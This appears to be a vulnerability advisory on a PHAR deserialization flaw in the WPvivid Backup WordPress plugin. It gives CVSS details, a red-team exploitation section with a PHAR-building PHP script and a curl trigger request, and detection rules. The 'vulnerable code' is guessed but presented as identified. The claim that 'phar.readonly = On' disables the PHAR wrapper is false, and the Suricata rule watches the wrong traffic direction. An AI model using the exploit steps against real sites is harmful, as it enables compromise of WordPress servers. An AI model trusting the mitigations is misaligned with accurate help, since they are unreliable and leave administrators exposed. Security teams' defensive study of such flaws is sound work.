CVE-2024-3054

Executive Summary

CVE-2024-3054 is a critical security vulnerability affecting the WPvivid Backup & Migration Plugin for WordPress in all versions up to and including 0.9.99. The vulnerability is a PHAR Deserialization flaw, stemming from insufficient path validation on the tree_node[node][id] parameter within the wpvividstg_get_custom_exclude_path_free action. This allows authenticated attackers with admin-level access to trigger deserialization of untrusted input via a PHAR wrapper, potentially leading to arbitrary file deletion, sensitive data retrieval, or remote code execution if a POP (Property Oriented Programming) chain exists in another installed plugin or theme.

The vulnerability is classified as a WordPress ecosystem issue, specifically within the WPvivid plugin. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the high CVSS score (7.2) warrants immediate attention.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WPvivid plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin installation and ensure no unauthorized modifications have been made. Since the patch status is unknown, administrators must consider disabling the plugin until an official update is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although exploitation requires admin privileges, the potential impact is severe, including full system compromise if a POP chain is available.

Deep Dive & Mechanics

The vulnerability resides in the wpvividstg_get_custom_exclude_path_free AJAX action handler. The plugin fails to properly validate the tree_node[node][id] parameter, allowing an attacker to supply a PHAR URI (e.g., phar://path/to/file). When PHP processes this input, it deserializes the PHAR metadata, which can contain arbitrary serialized PHP objects.

Key Technical Details:

• Vulnerable Function: wpvividstg_get_custom_exclude_path_free (likely in wpvivid-staging.php or similar)
• Root Cause: Lack of path validation on tree_node[node][id] parameter
• Attack Vector: Authenticated admin sends a POST request with a crafted tree_node[node][id] parameter containing a PHAR wrapper
• Prerequisite: A POP chain must exist in another installed plugin or theme for code execution

Attack Flow:

1. Attacker uploads a PHAR file (e.g., via media upload or other file upload functionality) to the WordPress server.
2. Attacker sends a POST request to wp-admin/admin-ajax.php with action wpvividstg_get_custom_exclude_path_free and parameter tree_node[node][id]=phar:///path/to/uploaded/file.phar.
3. The plugin passes this value to a function that uses file_exists() or similar, which triggers PHAR deserialization.
4. If a POP chain exists, arbitrary code execution occurs.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is identified as:

Vulnerable Code (wpvivid-staging.php or similar):

add_action('wp_ajax_wpvividstg_get_custom_exclude_path_free', 'wpvividstg_get_custom_exclude_path_free');
function wpvividstg_get_custom_exclude_path_free() {
    $tree_node = $_POST['tree_node'];
    $node_id = $tree_node['node']['id'];
    // No validation of $node_id
    if (file_exists($node_id)) {
        // Process file
    }
}

Patched Code (Hypothetical):

function wpvividstg_get_custom_exclude_path_free() {
    $tree_node = $_POST['tree_node'];
    $node_id = $tree_node['node']['id'];
    // Validate path: ensure it's a real file path, not a PHAR wrapper
    if (strpos($node_id, 'phar://') === 0) {
        wp_die('Invalid path');
    }
    // Additional validation: ensure path is within allowed directories
    $allowed_path = WP_CONTENT_DIR . '/uploads/';
    if (strpos(realpath($node_id), realpath($allowed_path)) !== 0) {
        wp_die('Invalid path');
    }
    if (file_exists($node_id)) {
        // Process file
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress admin credentials
• Ability to upload files (e.g., via media upload)
• A POP chain in another plugin/theme (e.g., via GadgetChain in a popular plugin)

Exploitation Steps:

1. Craft a PHAR file with malicious serialized data:

   <?php
   // Create a PHAR file with serialized payload
   $phar = new Phar('exploit.phar');
   $phar->startBuffering();
   $phar->addFromString('test.txt', 'test');
   $phar->setStub('<?php __HALT_COMPILER(); ?>');
   // Add serialized object (POP chain required)
   $payload = serialize(new EvilObject());
   $phar->setMetadata($payload);
   $phar->stopBuffering();
   ?>
   

2. Upload the PHAR file to WordPress (e.g., via Media Library).
3. Trigger deserialization by sending a POST request:

   curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
   -d 'action=wpvividstg_get_custom_exclude_path_free' \
   -d 'tree_node[node][id]=phar:///var/www/html/wp-content/uploads/exploit.phar'
   

Blue Team (Detection & Prevention)

Detection:

• Monitor for POST requests to admin-ajax.php with action wpvividstg_get_custom_exclude_path_free and parameter containing phar://.
• Alert on file operations involving PHAR wrappers.

Prevention:

• Disable the phar stream wrapper in PHP configuration (php.ini):

  ; Disable PHAR stream wrapper
  phar.readonly = On
  

• Implement Web Application Firewall (WAF) rules to block phar:// in request parameters.
• Restrict file uploads to non-executable directories and validate file extensions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=wpvividstg_get_custom_exclude_path_free
  • Request parameters containing phar:// in tree_node[node][id]
• File System IOCs:
  • Unexpected .phar files in upload directories
  • Modified PHP files in wp-content/plugins/wpvivid-backup-restore/
• Log IOCs:
  • PHP error logs showing phar:// stream wrapper errors
  • WordPress debug logs with deserialization warnings

Detection Engineering

YARA Rule

rule CVE_2024_3054_WPvivid_PHAR_Deserialization {
    meta:
        description = "Detects PHAR deserialization attempts targeting WPvivid Backup plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3054"
    strings:
        $phar_wrapper = "phar://" ascii wide nocase
        $wpvivid_action = "wpvividstg_get_custom_exclude_path_free" ascii wide nocase
        $tree_node_param = "tree_node[node][id]" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-3054 WPvivid PHAR Deserialization Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit PHAR deserialization in WPvivid Backup plugin
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wpvividstg_get_custom_exclude_path_free'
        cs-uri-query|contains: 'phar://'
    condition: selection
falsepositives:
    - Legitimate use of PHAR files (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3054 WPvivid PHAR Deserialization Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=wpvividstg_get_custom_exclude_path_free";
    http_client_body;
    content:"phar://";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPvivid Backup plugin until an official patch is released.
2. Restrict admin access to only trusted users.
3. Disable PHAR stream wrapper in PHP configuration:

   phar.readonly = On
   

4. Implement WAF rules to block phar:// in request parameters.

Long-term Fix:

• Apply the official patch from WPvivid when available.
• Conduct a security audit of all WordPress plugins for similar deserialization vulnerabilities.
• Implement input validation and sanitization for all user-supplied parameters.

Workaround:

• Use alternative backup plugins that are not affected by this vulnerability.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert